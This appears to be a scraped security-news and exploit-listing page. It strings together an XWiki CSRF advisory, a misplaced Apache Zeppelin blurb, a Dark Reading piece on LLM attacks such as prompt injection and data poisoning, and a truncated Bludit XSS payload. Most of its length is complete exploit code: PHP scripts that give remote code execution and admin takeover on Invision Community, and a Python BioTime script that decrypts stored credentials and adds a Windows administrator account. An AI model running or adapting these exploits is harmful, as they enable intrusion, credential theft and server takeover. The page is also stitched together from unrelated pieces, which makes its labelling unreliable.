### Impact
It is possible to schedule/trigger/unschedule existing jobs by having an admin visit the Job Scheduler page through a predictable URL, for example by embedding such an URL in any content as an image.

To reproduce in an XWiki installation, open `<xwiki-host>:/xwiki/bin/view/Scheduler/?do=trigger&which=Scheduler.NotificationEmailDailySender` as a user with admin rights. If there is no error message that indicates the CSRF token is invalid, the installation is vulnerable.

### Patches
The vulnerability has been fixed on XWiki 14.10.19, 15.5.5, and 15.9.

### Workarounds
Modify the Scheduler.WebHome page following this [patch](https://github.com/xwiki/xwiki-platform/commit/f16ca4ef1513f84ce2e685d4a05d689bd3a2ab4c#diff-1e2995eacccbbbdcc4987ff64f46ac74837d166cf9e92920b4a4f8af0f10bd47).

### References
- https://jira.xwiki.org/browse/XWIKI-20851
- https://github.com/xwiki/xwiki-platform/commit/f16ca4ef1513f84ce2e685d4a05d689bd3a2ab4c

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1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-31985

**XWiki Platform CSRF in the job scheduler**

Moderate severity GitHub Reviewed Published Apr 10, 2024 in xwiki/xwiki-platform • Updated Apr 10, 2024

**Package**

maven org.xwiki.platform:xwiki-platform-scheduler-ui (Maven)

**Affected versions**

\>= 3.1, < 14.10.19

\>= 15.0-rc-1, < 15.5.4

\>= 15.6-rc-1, < 15.9

**Patched versions**

14.10.19

15.5.4

15.9

**Description**

Published to the GitHub Advisory Database

Apr 10, 2024

Last updated

Apr 10, 2024

GHSA-j2r6-r929-v6gf: XWiki Platform CSRF in the job scheduler

Cross-Site Request Forgery (CSRF) vulnerability in Credential page of Apache Zeppelin allows an attacker to submit malicious request.  This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.

**Apache Zeppelin CSRF vulnerability in the Credentials page**

Moderate severity GitHub Reviewed Published Apr 9, 2024 to the GitHub Advisory Database • Updated Apr 9, 2024

GHSA-prvg-rh5h-74jr: Apache Zeppelin CSRF vulnerability in the Credentials page

Invision Community versions 4.7.16 and below suffer from a remote code execution vulnerability in toolbar.php.

    ------------------------------------------------------------------------------Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability------------------------------------------------------------------------------[-] Software Link:https://invisioncommunity.com[-] Affected Versions:Version 4.7.16 and prior versions.[-] Vulnerability Description:The vulnerability is located in the/applications/core/modules/admin/editor/toolbar.php script.Specifically, into theIPS\core\modules\admin\editor\_toolbar::addPlugin() method, which willhandlethe upload of a ZIP file, trying to extract its content into the/applications/core/interface/ckeditor/ckeditor/plugins/ directory; ifthe ZIP archive does not includea plugin.js file, then the extracted ZIP content will be recursivelydeleted from the file system,otherwise it will stay there. This can be exploited to executearbitrary PHP code by uploading aZIP archive containing a plugin.js file (which can also be empty)along with a PHP file. Successfulexploitation of this vulnerability requires an Administrator accounthaving the "toolbar_manage" permission.[-] Proof of Concept:https://karmainsecurity.com/pocs/CVE-2024-30162.php[-] Solution:No official solution is currently available.[-] Disclosure Timeline:[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure[12/03/2024] - Version 4.7.16 released, but the issue is still not fixed[20/03/2024] - CVE identifier requested[24/03/2024] - CVE identifier assigned[05/04/2024] - Coordinated public disclosure[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2024-30162 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Other References:https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/[-] Original Advisory:http://karmainsecurity.com/KIS-2024-03-----------------------PoC:<?php/*    ------------------------------------------------------------------------------    Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability    ------------------------------------------------------------------------------    author..............: Egidio Romano aka EgiX    mail................: n0b0d13s[at]gmail[dot]com    software link.......: https://invisioncommunity.com    +-------------------------------------------------------------------------+    | This proof of concept code was written for educational purpose only.    |    | Use it at your own risk. Author will be not responsible for any damage. |    +-------------------------------------------------------------------------+    [-] Vulnerability Description:    The vulnerability is located in the /applications/core/modules/admin/editor/toolbar.php script.    Specifically, into the IPS\core\modules\admin\editor\_toolbar::addPlugin() method, which will    handle the upload of a ZIP file, trying to extract its content into the    /applications/core/interface/ckeditor/ckeditor/plugins/ directory; if the ZIP archive does    not include a plugin.js file, then the extracted ZIP content will be recursively deleted    from the file system, otherwise it will stay there. This can be exploited to execute    arbitrary PHP code by uploading a ZIP archive containing a plugin.js file (which can    also be empty) along with a PHP file. Successful exploitation of this vulnerability    requires an Administrator account having the "toolbar_manage" permission.    [-] Original Advisory:    https://karmainsecurity.com/KIS-2024-03*/set_time_limit(0);error_reporting(E_ERROR);if (!extension_loaded("curl")) die("[-] cURL extension required!\n");if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Email> <Password>\n\n");$url = $argv[1];$email = $argv[2];$passwd = $argv[3];$ch = curl_init();@unlink('./cookies.txt');curl_setopt($ch, CURLOPT_HEADER, true);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');print "[+] Logging into AdminCP\n";curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=system&controller=login");curl_setopt($ch, CURLOPT_POST, false);if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");curl_setopt($ch, CURLOPT_POSTFIELDS, "csrfKey={$csrf[1]}&auth=".urlencode($email)."&password={$passwd}&_processLogin=usernamepassword");if (!preg_match("/303 See Other/i", curl_exec($ch))) die("[-] Login failed!\n");print "[+] Uploading malicious ZIP file\n";curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=editor&controller=toolbar&do=addPlugin");curl_setopt($ch, CURLOPT_POST, false);if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");$plg = md5(time()).".zip";@file_put_contents("rce.zip", base64_decode("UEsDBAoDAAAAADxvKFgecSjnMgAAADIAAAAJAAAAaW5kZXgucGhwPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VSVkVSWydIVFRQX0MnXSkpOyA/PgpQSwMECgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAAABwbHVnaW4uanNQSwECPwMKAwAAAAA8byhYHnEo5zIAAAAyAAAACQAkAAAAAAAAACCAtIEAAAAAaW5kZXgucGhwCgAgAAAAAAABABgAgMvlSzJC2gGAy+VLMkLaAYDL5UsyQtoBUEsBAj8DCgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAJAAAAAAAAAAggLSBWQAAAHBsdWdpbi5qcwoAIAAAAAAAAQAYAAC84E4yQtoBALzgTjJC2gEAvOBOMkLaAVBLBQYAAAAAAgACALYAAACAAAAAAAA="));$params = ["csrfKey" => $csrf[1], "form_submitted" => 1, "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg)];curl_setopt($ch, CURLOPT_POSTFIELDS, $params);if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Upload failed!\n");print "[+] Launching shell\n";curl_setopt($ch, CURLOPT_URL, "{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/");curl_setopt($ch, CURLOPT_POST, false);$phpcode = "print '____'; passthru(base64_decode('%s')); print '____';";while(1){  print "\ninvision-shell# ";  if (($cmd = trim(fgets(STDIN))) == "exit") break;  curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode(sprintf($phpcode, base64_encode($cmd)))]);  preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");}

Invision Community 4.7.16 Remote Code Execution

Invision Community versions 4.4.0 through 4.7.15 suffer from a remote SQL injection vulnerability in store.php.

--------------------------------------------------------------------  
Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
--------------------------------------------------------------------

[-] Software Link:

https://invisioncommunity.com

[-] Affected Versions:

All versions from 4.4.0 to 4.7.15.

[-] Vulnerability Description:

The vulnerability is located in the  
/applications/nexus/modules/front/store/store.php script.  
Specifically, into the  
IPS\nexus\modules\front\store\_store::_categoryView() method:

126 /* Apply Filters */  
127 if ( isset( \IPS\Request::i()->filter ) and \is_array(  
\IPS\Request::i()->filter ) )  
128 {  
129 $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );  
130 foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )  
131 {  
132 $where[] = array( \IPS\Db::i()->findInSet(  
"filter{$filterId}.pfm_values", array_map( 'intval', explode( ',',  
$allowedValues ) ) ) );  
133 $joins[] = array( 'table' => array( 'nexus_package_filters_map',  
"filter{$filterId}" ), 'on' => array(  
"filter{$filterId}.pfm_package=p_id AND  
filter{$filterId}.pfm_filter=?", $filterId ) );  
134 }  
135 }

User input passed through the "filter" request parameter is not  
properly sanitized before being  
assigned to the $where and $joins variables (lines 132 and 133), which  
are later used to execute  
some SQL queries. This can be exploited by unauthenticated attackers  
to carry out time-based or  
error-based Blind SQL Injection attacks. Subsequently, this might also  
be exploited to reset  
users' passwords and gain unauthorized access to the AdminCP, in order  
to achieve  
Remote Code Execution (RCE). Successful exploitation of this  
vulnerability requires  
the nexus application to be installed and configured with one "Product  
Group" at least.

[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2024-30163.php

[-] Solution:

Upgrade to version 4.7.16 or later.

[-] Disclosure Timeline:

[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure  
[12/03/2024] - Version 4.7.16 released  
[20/03/2024] - CVE identifier requested  
[24/03/2024] - CVE identifier assigned  
[05/04/2024] - Coordinated public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2024-30163 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Other References:

https://invisioncommunity.com/release-notes/4716-r128/  
https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/

[-] Original Advisory:

http://karmainsecurity.com/KIS-2024-02

-----------------------  
PoC:

<?php

/*  
    --------------------------------------------------------------------  
    Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
    --------------------------------------------------------------------

    author..............: Egidio Romano aka EgiX  
    mail................: n0b0d13s[at]gmail[dot]com  
    software link.......: https://invisioncommunity.com

    +-------------------------------------------------------------------------+  
    | This proof of concept code was written for educational purpose only.    |  
    | Use it at your own risk. Author will be not responsible for any damage. |  
    +-------------------------------------------------------------------------+

    [-] Vulnerability Description:

    The vulnerability is located in the /applications/nexus/modules/front/store/store.php script.  
    Specifically, into the IPS\nexus\modules\front\store\_store::_categoryView() method: user  
    input passed through the "filter" request parameter is not properly sanitized before being  
    assigned to the $where and $joins variables, which are later used to execute some SQL  
    queries. This can be exploited by unauthenticated attackers to carry out time-based  
    or error-based SQL Injection attacks.

    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2024-02  
*/

set_time_limit(0);  
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

$url = $argv[1];  
$ch  = curl_init();  
$sec = 3; // number of seconds for SLEEP(): less seconds, less accurate

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)  
{  
  global $ch, $sec;

  $min = true;  
  $idx = 1;

  while(1)  
  {  
    $test = 256;

    for ($i = 7; $i >= 0; $i--)  
    {  
      $test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));  
      $injection = "` ON 1 UNION SELECT IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},1,SLEEP({$sec})) OR ?=?#";  
      curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf("cat=1&filter[%s]=1", rawurlencode($injection)));  
      $start = time(); curl_exec($ch); $secs = time() - $start;  
      $min = ($secs < $sec);  
    }

    if (($chr = $min ? ($test - 1) : ($test)) == 0) break;  
    $data .= chr($chr); $min = true; $idx++;  
    print "\r[*] Data: {$data}";  
  }

  return $data;  
}

print "[+] Step 1: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 2: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 3: fetching the password reset key\n";

$vid = sql_injection("SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1");

print "\n[+] Step 4: taking over the admin account by resetting their password\n";

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");  
curl_setopt($ch, CURLOPT_POST, false);  
curl_setopt($ch, CURLOPT_HEADER, true);  
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');  
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

$passwd = md5(time());  
$params = "do=validate&vid={$vid}&mid=1&password={$passwd}&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Attack failed!\n");

print "[+] Done! You can log into the AdminCP with {$email}:{$passwd}\n";

Invision Community 4.7.15 SQL Injection

Large language models require rethinking how to bake security into the software development process earlier.

Large language models require rethinking how to bake security into the software development process earlier.

Source: Chroma Craft Media Group via Alamy Stock Photo

Question: What do we really know about large language model (LLM) security? And are we willingly opening the front door to chaos by using LLMs in business?

Rob Gurzeev, CEO, CyCognito: Picture it: Your engineering team is harnessing the immense capabilities of LLMs to "write code" and rapidly develop an application. It's a game-changer for your businesses; development speeds are now orders of magnitude faster. You've shaved 30% off time-to-market. It's win-win — for your org, your stakeholders, your end users.

Six months later, your application is reported to leak customer data; it has been jailbroken and its code manipulated. You're now facing SEC violations and the threat of customers walking away.

Efficiency gains are enticing, but the risks cannot be ignored. While we have well-established standards for security in traditional software development, LLMs are black boxes that require rethinking how we bake in security.

**New Kinds of Security Risks for LLMs**

LLMs are rife with unknown risks and prone to attacks previously unseen in traditional software development.

*   Prompt injection attacks involve manipulating the model to generate unintended or harmful responses. Here, the attacker strategically formulates prompts to deceive the LLM, potentially bypassing security measures or ethical constraints put in place to ensure responsible use of the artificial intelligence (AI). As a result, the LLM's responses can deviate significantly from the intended or expected behavior, posing serious risks to privacy, security, and the reliability of AI-driven applications.
    
*   Insecure output handling arises when the output generated by an LLM or similar AI system is accepted and incorporated into a software application or Web service without undergoing adequate scrutiny or validation. This can expose back-end systems to vulnerabilities, such as cross-site scripting (XSS), cross-site request forgery (CSRF), server-side request forgery (SSRF), privilege escalation, and remote code execution (RCE).
    
*   Training data poisoning occurs when the data used to train an LLM is deliberately manipulated or contaminated with malicious or biased information. The process of training data poisoning typically involves the injection of deceptive, misleading, or harmful data points into the training dataset. These manipulated data instances are strategically chosen to exploit vulnerabilities in the model's learning algorithms or to instill biases that may lead to undesired outcomes in the model's predictions and responses.
    

**A Blueprint for Protection and Control of LLM Applications**

While some of this is new territory, there are best practices you can implement to limit exposure.

*   Input sanitization involves, as the name suggestion, the sanitization of inputs to prevent unauthorized actions and data requests initiated by malicious prompts. The first step is input validation to ensure input adheres to expected formats and data types. The next is input sanitization, where potentially harmful characters or code are removed or encoded to thwart attacks. Other tactics include whitelists of approved content, blacklists of forbidden content, parameterized queries for database interactions, content security policies, regular expressions, logging, and continuous monitoring, as well as security updates and testing.
    
*   Output scrutiny is the rigorous handling and evaluation of the output generated by the LLM to mitigate vulnerabilities, like XSS, CSRF, and RCE. The process begins by validating and filtering the LLM's responses before accepting them for presentation or further processing. It incorporates techniques such as content validation, output encoding, and output escaping, all of which aim to identify and neutralize potential security risks in the generated content.
    
*   Safeguarding training data is essential to prevent training data poisoning. This involves enforcing strict access controls, employing encryption for data protection, maintaining data backups and version control, implementing data validation and anonymization, establishing comprehensive logging and monitoring, conducting regular audits, and providing employee training on data security. It's also important to verify the reliability of data sources and ensure secure storage and transmission practices.
    
*   Enforcing strict sandboxing policies and access controls can also help mitigate the risk of SSRF exploits in LLM operations. Techniques that can be applied here include sandbox isolation, access controls, whitelisting and/or blacklisting, request validation, network segmentation, content-type validation, and content inspection. Regular updates, comprehensive logging, and employee training are also key.
    
*   Continuous monitoring and content filtering can be integrated into the LLM's processing pipeline to detect and prevent harmful or inappropriate content, using keyword-based filtering, contextual analysis, machine-learning models, and customizable filters. Ethical guidelines and human moderation play key roles in maintaining responsible content generation, while continuous real-time monitoring, user feedback loops, and transparency ensure that any deviations from desired behavior are promptly addressed.
    

**About the Author(s)**

Dark Reading

The Edge is Dark Reading's home for features, threat data and in-depth perspectives on cybersecurity.

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BioTime versions 8.5.5 and 9.0.1 suffer from directory traversal and file write vulnerabilities. This exploit also achieves remote code execution on version 8.5.5.

    #  __________.__     ___________.__                #  \______   \__| ___\__    ___/|__| _____   ____  #   |    |  _/  |/  _ \|    |   |  |/     \_/ __ \ #   |    |   \  (  <_> )    |   |  |  Y Y  \  ___/ #   |______  /__|\____/|____|   |__|__|_|  /\___  >#          \/                            \/     \/ # Tested on 8.5.5 (Build:20231103.R1905)# Tested on 9.0.1 (Build:20240108.18753)# BioTime, "time" for shellz!# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950# RCE by adding a user to the system, not the app.# Relay machine creds over smb, while creating a backup# Decrypt SMTP, LDAP or SFTP creds, if any.# Get sql backup. Good luck cracking those hashes!# Can use Banner to determine which version is running# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache => BioTime Version 9# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)import requestsfrom bs4 import BeautifulSoupimport osimport jsonimport sysfrom Crypto.Cipher import AESfrom Crypto.Cipher import ARC4import base64from binascii import b2a_hex, a2b_hexrequests.packages.urllib3.disable_warnings()proxies = {    'http': 'http://127.0.0.1:8080',  # Proxy for HTTP traffic    'https': 'http://127.0.0.1:8080'  # Proxy for HTTPS traffic}proxies = {}target =  sys.argv[1]def decrypt_rc4(base64_encoded_rc4, password="biotime"):    encrypted_data = base64.b64decode(base64_encoded_rc4)    cipher = ARC4.new(password.encode())    decrypted_data = cipher.decrypt(encrypted_data)    return decrypted_data.decode()# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="# password = "biotime"# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)# print("Decrypted data:", decrypted_data)AES_PASSWORD = b'china@2018encryption#aes'AES_IV = b'zkteco@china2019'def filling_data(data, restore=False):    '''    :param data: str    :return: str    '''    if restore:        return data[0:-ord(data[-1])]    block_size = AES.block_size  # Use AES.block_size instead of None.block_size    return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)def aes_encrypt(content):    '''    Encryption    :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out    :return: str    '''    if isinstance(content, bytes):        content = str(content, 'utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))    result = b2a_hex(encrypted).decode('utf-8')    return resultdef aes_decrypt(content):    '''    Decryption    :param content: str or bytes, Encryption string    :return: str    '''    if isinstance(content, str):        content = content.encode('utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    result = cipher.decrypt(a2b_hex(content)).decode('utf-8')    return filling_data(result, restore=True)#Check BioTimeurl = f'{target}/license/'response = requests.get(url, proxies=proxies, verify=False)html_content = response.contentsoup = BeautifulSoup(html_content, 'html.parser')build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]build = Nonefor line in build_lines:    build = line    print(f"Found BioTime: {line}")    breakif build != None:    buildNumber = build[0]else:    print("Unsupported Target!")    sys.exit(1)# Dir Traversalurl = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'response = requests.get(url, proxies=proxies, verify=False)try:    print("Dir Traversal Attempt\nOutput of windows/win.ini file:")    print(base64.b64decode(response.text).decode('utf-8'))    try:        url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'        response = requests.get(url, proxies=proxies, verify=False)        attConfig = base64.b64decode(response.text).decode('utf-8')        #print(f"Output of BioTime config file: {attConfig}")    except:        try:            url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'            response = requests.get(url, proxies=proxies, verify=False)            attConfig = base64.b64decode(response.text).decode('utf-8')            #print(f"Output of BioTime config file: {attConfig}")        except:            print("Couldn't get BioTime config file (possibly non default configuration)")    lines = attConfig.split('\n')    for i, line in enumerate(lines):        if "PASSWORD=@!@=" in line:            dec_att = decrypt_rc4(lines[i].split("@!@=")[1])            lines[i] = lines[i].split("@!@=")[0]+dec_att    attConfig_modified = '\n'.join(lines)    print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")except:    print("Couldn't exploit Dir Traversal")# Extract Cookiesurl = f'{target}/login/'response = requests.get(url, proxies=proxies, verify=False)if response.status_code == 200:    soup = BeautifulSoup(response.text, 'html.parser')    csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})    if csrf_token_header:        csrf_token_header_value = csrf_token_header['value']        print(f"CSRF Token Header: {csrf_token_header_value}")        session_id_cookie = response.cookies.get('sessionid')    if session_id_cookie:        print(f"Session ID: {session_id_cookie}")        csrf_token_value = response.cookies.get('csrftoken')    if csrf_token_value:        print(f"CSRF Token Cookie: {csrf_token_value}")else:    print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")# Login Now!cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}for i in range(1,10):    username = i    password = '123456' # Deafult password!    data = {        'username': username,        'password': password,        'captcha':'',        'login_user':'employee'    }    headers = {        'User-Agent': 'Krash Consulting',        'X-CSRFToken': csrf_token_header_value    }    response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)    if response.status_code == 200:        json_response = response.json()        ret_value = json_response.get('ret')        if ret_value == 0:            print(f"Valid Credentials found: Username is {username} and password is {password}")            session_id_cookie = response.cookies.get('sessionid')            if session_id_cookie:                print(f"Auth Session ID: {session_id_cookie}")                        csrf_token_value = response.cookies.get('csrftoken')            if csrf_token_value:                print(f"Auth CSRF Token Cookie: {csrf_token_value}")            breakif i == 9:    print("No valid users found!")    sys.exit(1)# Check for Backupsdef downloadBackup():    url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("Backup files list")    print(json.dumps(response_data, indent=4))    if response_data['count'] > 0:        backup_info = response_data['data'][0]  # Latest Backup        operator_name = backup_info['operator']        backup_file = backup_info['backup_file']        db_type = backup_info['db_type']        print("Operator:", operator_name)        print("Backup File:", backup_file)        print("Database Type:", db_type)        if buildNumber == "9":            createBackup()            print("Backup File password: Krash")        #download = os.path.basename(backup_file)        path = os.path.normpath(backup_file)        try:            split_path = path.split(os.sep)            files_index = split_path.index('files')            relative_path = '/'.join(split_path[files_index + 1:])        except:            return False        url = f'{target}/files/{relative_path}'        print(url)        response = requests.get(url, proxies=proxies, verify=False)        if response.status_code == 200:            filename = os.path.basename(url)            with open(filename, 'wb') as file:                file.write(response.content)            print(f"File '{filename}' downloaded successfully.")        else:            print("Failed to download the file. Status code:", response.status_code)        return False    else:        print("No backup Found!")        return Truedef createBackup(targetPath=None):    print("Attempting to create backup.")    url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    html_content = response.content    soup = BeautifulSoup(html_content, 'html.parser')    pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]    print(f"Possible backup location: {pathBackup}")    url = f'{target}/base/dbbackuplog/action/'    if targetPath == None:        if buildNumber == "9" or build[:5] == "8.5.5":            targetPath = "C:\\ZKBioTime\\files\\backup\\"        else:            targetPath = "C:\\BioTime\\files\\fw\\"    if buildNumber == "9":        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79',            'backup_encryption_choices': '2',            'auto_backup_password': 'Krash'        }    else:        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79'        }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    if response.status_code == 200:        print("Backup Initiated.")    else:        print("Backup failed!")if downloadBackup():    createBackup()    downloadBackup()url = f'{target}/base/api/systemSettings/email_setting/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("SMTP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))url = f'{target}/base/api/systemSettings/ldap_setup/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("LDAP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))def sftpRCE():    print("Attempting RCE!")    #Add SFTP, Need valid IP/credentials here!    print("Adding FTP List")    url = f'{target}/base/sftpsetting/add/'    myIpaddr = '192.168.0.11'    myUser = 'test'    myPassword = 'test@123'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name':myUser,        'user_password':myPassword,        'user_key':'',        'action_name': '47656e6572616c416374696f6e4e6577'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print(response)    url = f'{target}/base/sftpsetting/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("FTP List")    print(json.dumps(response_data, indent=4))    backup_info = response_data['data'][0]  # Latest SFTP    getID = backup_info['id']    if getID:        print("ID to edit ", getID)    #Edit SFTP (Response can have errors, it doesn't matter)    print("Editing SFTP Settings")    if buildNumber == "9":        dirTraverse = '\..\..\..\python311\lib\io.py'    else:        dirTraverse = '\..\..\..\python37\lib\io.py'    if len(dirTraverse) > 30:        print("Directory Traversal length is greater than 30, will not work!")        sys.exit(1)    url = f'{target}/base/sftpsetting/edit/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name': dirTraverse,        'user_password':myPassword,        'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...',        'obj_id': getID    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd")    #Delete SFTP    print("Deleting SFTP Settings")    url = f'{target}/base/sftpsetting/action/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'id': getID,        'action_name': '47656e6572616c416374696f6e44656c657465'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)#RCEif buildNumber == "9" or build[:5] == "8.5.5":    sftpRCE()# #Relay Creds# createBackup("\\\\192.168.0.11\\KC\\test")

BioTime Directory Traversal / Remote Code Execution

Bludit version 3.13.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Bludit 3.13.0 - Cross Site Scripting (XSS)#Exploit Author: Gökhan ŞENŞÜKÜR# Date: 29/02/2024# Vendor Homepage: https://www.bludit.com# Software Link: https://www.bludit.com/releases/bludit-3-13-0.zip# Version: bludit-3-13-0# Tested on: WindowsTECHNICAL DETAILS & POC========================================### Steps to reproduce1.⁠ ⁠Open page http://localhost:test/admin/;2.⁠ ⁠Enter username as `⁠ admin"><img src=x onerror=alert(1)> ⁠`3.⁠ ⁠U can see pop up### HTTP Request  ###POST /test/admin/ HTTP/1.1Host: localhostContent-Length: 139Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: 